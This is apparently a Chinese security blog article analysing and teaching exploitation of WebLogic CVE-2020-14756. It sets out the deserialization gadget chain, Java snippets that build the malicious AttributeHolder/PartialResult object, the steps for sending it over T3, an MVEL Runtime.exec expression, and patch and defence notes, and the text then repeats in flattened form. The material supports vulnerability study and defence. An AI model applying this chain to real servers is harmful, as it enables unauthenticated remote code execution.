weblogic-CVE-2020-14756漏洞分析
字数 1741 2025-08-05 11:39:37

WebLogic CVE-2020-14756漏洞深度分析与利用教学

漏洞概述

CVE-2020-14756是Oracle WebLogic Server中的一个远程代码执行漏洞,影响WebLogic Server 12.2.1.3.0、12.2.1.4.0和14.1.1.0.0版本。该漏洞允许未经身份验证的攻击者通过T3协议发送精心构造的恶意请求,在目标系统上执行任意代码。

漏洞原理分析

漏洞利用链分析

漏洞利用链(gadget chain)如下:

com.tangosol.coherence.servlet.AttributeHolder.readExternal()
  → ExternalizableHelper.readObject()
    → ExternalizableHelper.readObjectInternal()
      → ExternalizableHelper.readExternalizableLite()
        → TopNAggregator.PartialResult.readExternal()
           → TopNAggregator.PartialResult.add()
             → (AbstractExtractor)MvelExtractor.compare()
               → MvelExtractor.extract()
                 → MVEL.executeExpression()

关键组件分析

  1. MvelExtractor:

    • 这是漏洞的最终执行点,通过其extract()方法执行MVEL表达式
    • 继承自AbstractExtractor,使用父类的compare()方法
    • compare()方法内部会调用extract()方法
  2. TopNAggregator.PartialResult:

    • 实现了ExternalizableLite接口
    • readExternal()方法中通过ExternalizableHelper.readObject()加载比较器对象
    • add()方法中调用比较器的compare()方法
  3. AttributeHolder:

    • 作为整个利用链的入口点
    • readExternal()方法中调用ExternalizableHelper.readObject()

漏洞利用条件

  1. 恶意类需要实现ExternalizableLite接口
  2. 需要找到合适的非恶意类作为包装类,满足以下条件:
    • 不在WebLogic的黑名单中
    • readObjectreadExternalreadResolve方法中调用ExternalizableHelper.readObject()
    • ExternalizableHelper.readObject()还原的对象调用extractcompare方法

漏洞挖掘思路

补丁分析

通过对比补丁前后的代码,发现关键修改点在ExternalizableHelper类中:

// 补丁前
String sClass = readUTF((DataInput)in);
value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();

// 补丁后
// 增加了黑名单检查
String sClass = readUTF((DataInput)in);
Class clz = loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader());
checkObjectInputFilter(clz);
value = (ExternalizableLite)clz.newInstance();

绕过黑名单机制

WebLogic的黑名单检测点:

  1. readObject调用的resolveClass方法
  2. readExternalresolveClass方法
  3. readResolveresolveClass方法

本漏洞的绕过方式:

  • 使用非恶意类作为最上层类(如AttributeHolder
  • 通过该类的readExternal方法间接加载恶意类(MvelExtractor
  • 利用调用链最终触发恶意代码执行

漏洞利用详细步骤

1. 构造恶意对象

需要构造一个AttributeHolder对象,其m_oValue属性设置为精心构造的TopNAggregator.PartialResult对象:

// 创建MVEL表达式执行器
MvelExtractor extractor = new MvelExtractor("恶意MVEL表达式");

// 创建TopNAggregator.PartialResult对象
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractor, 1);
partialResult.add("触发点");  // 确保在反序列化时会进入add方法

// 创建AttributeHolder对象
AttributeHolder holder = new AttributeHolder();
holder.setName("任意名称");
holder.setValue(partialResult);

2. 序列化对象

将构造好的AttributeHolder对象序列化为字节流,准备发送给目标WebLogic服务器。

3. 通过T3协议发送

将序列化后的恶意对象通过WebLogic的T3协议发送到目标服务器。

技术细节说明

PartialResult的构造要求

PartialResultreadExternal方法中,需要满足以下条件才能进入add方法:

int cElems = in.readInt();  // 需要设置元素数量>0
for(int i = 0; i < cElems; ++i) {
    this.add(ExternalizableHelper.readObject(in));  // 需要进入这个循环
}

因此,在构造payload时,需要确保:

  1. 设置m_cMaxSize大于0
  2. 提供至少一个元素供反序列化时添加

MVEL表达式执行

MvelExtractorextract方法最终会执行:

MVEL.executeExpression(this.m_expr, target);

可以构造如下的MVEL表达式实现RCE:

"Runtime.getRuntime().exec(\"calc\")"

补丁分析

Oracle通过以下方式修复此漏洞:

  1. ExternalizableHelper.loadClass()前增加黑名单检查
  2. MvelExtractor加入黑名单,阻止其被加载

关键补丁代码:

// 新增的黑名单检查方法
private static void checkObjectInputFilter(Class clz) {
    String className = clz.getName();
    // 检查类名是否在黑名单中
    if (className != null && !className.isEmpty()) {
        if (FilterChecker.check(className)) {
            throw new InvalidObjectException("Unauthorized deserialization attempt");
        }
    }
}

防御建议

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制T3协议的访问,只允许可信网络访问
  3. 使用WebLogic的网络安全配置限制反序列化操作
  4. 监控和过滤可疑的T3协议流量

参考资源

  1. Oracle官方安全公告
  2. 漏洞分析文章1
  3. 漏洞分析文章2
WebLogic CVE-2020-14756漏洞深度分析与利用教学 漏洞概述 CVE-2020-14756是Oracle WebLogic Server中的一个远程代码执行漏洞,影响WebLogic Server 12.2.1.3.0、12.2.1.4.0和14.1.1.0.0版本。该漏洞允许未经身份验证的攻击者通过T3协议发送精心构造的恶意请求,在目标系统上执行任意代码。 漏洞原理分析 漏洞利用链分析 漏洞利用链(gadget chain)如下: 关键组件分析 MvelExtractor : 这是漏洞的最终执行点,通过其 extract() 方法执行MVEL表达式 继承自 AbstractExtractor ,使用父类的 compare() 方法 compare() 方法内部会调用 extract() 方法 TopNAggregator.PartialResult : 实现了 ExternalizableLite 接口 在 readExternal() 方法中通过 ExternalizableHelper.readObject() 加载比较器对象 在 add() 方法中调用比较器的 compare() 方法 AttributeHolder : 作为整个利用链的入口点 在 readExternal() 方法中调用 ExternalizableHelper.readObject() 漏洞利用条件 恶意类需要实现 ExternalizableLite 接口 需要找到合适的非恶意类作为包装类,满足以下条件: 不在WebLogic的黑名单中 其 readObject 、 readExternal 或 readResolve 方法中调用 ExternalizableHelper.readObject() 对 ExternalizableHelper.readObject() 还原的对象调用 extract 或 compare 方法 漏洞挖掘思路 补丁分析 通过对比补丁前后的代码,发现关键修改点在 ExternalizableHelper 类中: 绕过黑名单机制 WebLogic的黑名单检测点: readObject 调用的 resolveClass 方法 readExternal 的 resolveClass 方法 readResolve 的 resolveClass 方法 本漏洞的绕过方式: 使用非恶意类作为最上层类(如 AttributeHolder ) 通过该类的 readExternal 方法间接加载恶意类( MvelExtractor ) 利用调用链最终触发恶意代码执行 漏洞利用详细步骤 1. 构造恶意对象 需要构造一个 AttributeHolder 对象,其 m_oValue 属性设置为精心构造的 TopNAggregator.PartialResult 对象: 2. 序列化对象 将构造好的 AttributeHolder 对象序列化为字节流,准备发送给目标WebLogic服务器。 3. 通过T3协议发送 将序列化后的恶意对象通过WebLogic的T3协议发送到目标服务器。 技术细节说明 PartialResult的构造要求 在 PartialResult 的 readExternal 方法中,需要满足以下条件才能进入 add 方法: 因此,在构造payload时,需要确保: 设置 m_cMaxSize 大于0 提供至少一个元素供反序列化时添加 MVEL表达式执行 MvelExtractor 的 extract 方法最终会执行: 可以构造如下的MVEL表达式实现RCE: 补丁分析 Oracle通过以下方式修复此漏洞: 在 ExternalizableHelper.loadClass() 前增加黑名单检查 将 MvelExtractor 加入黑名单,阻止其被加载 关键补丁代码: 防御建议 及时安装Oracle官方发布的安全补丁 限制T3协议的访问,只允许可信网络访问 使用WebLogic的网络安全配置限制反序列化操作 监控和过滤可疑的T3协议流量 参考资源 Oracle官方安全公告 漏洞分析文章1 漏洞分析文章2